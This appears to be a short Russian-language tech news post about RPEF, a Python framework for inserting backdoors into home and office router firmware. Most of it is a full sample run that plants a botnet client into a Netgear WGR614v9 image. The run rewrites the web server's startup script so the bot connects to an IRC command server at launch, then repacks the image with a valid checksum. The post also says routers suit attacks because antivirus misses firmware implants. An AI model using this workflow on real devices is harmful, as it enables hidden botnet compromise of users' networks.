Сетевые устройства и маршрутизаторы лучше всего подходят для проведения атак, потому что их можно поставлять с бэкдором «из коробки», а антивирусы не определяют вредоносный кода в прошивке.
Приложение/скрипт RPEF (Router Post-Exploitation Framework) на языке программирования Python — удобное средство для внедрения бэкдора или трояна в прошивку. Использовать программу очень просто, вот основная команда:
./rpef.py <firmware image> <output file> <payload>Утилиту показали на хакерской конференции Defcon в августе этого года. Она поддерживает работу с распространёнными домашними и офисными маршрутизаторами производства Netgear, Linksys, D-Link и Belkin.
В поражённой прошивке с бэкдором хорошо сочетаются сетевой снифер и клиент ботнета.
Программу RPEF можно использовать для предупреждения уязвимых пользователей, проверки их готовности определить источник атаки и устранить его.
Пример использования
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
created 217 files
created 27 directories
created 48 symlinks
created 0 devices
created 0 fifos
[+] Inserting payload
Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.
Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
Filesystem size 1442.99 Kbytes (1.41 Mbytes)
29.38% of uncompressed filesystem size (4912.18 Kbytes)
Inode table size 2245 bytes (2.19 Kbytes)
33.63% of uncompressed inode table size (6675 bytes)
Directory table size 2322 bytes (2.27 Kbytes)
55.26% of uncompressed directory table size (4202 bytes)
Number of duplicate files found 3
Number of inodes 293
Number of files 218
Number of fragments 22
Number of symbolic links 48
Number of device nodes 0
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 27
Number of uids 1
root (0)
Number of gids 0
[+] Gluing parts together
Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
Step 1: Rmdir /tmp/tmpOaw1tn/
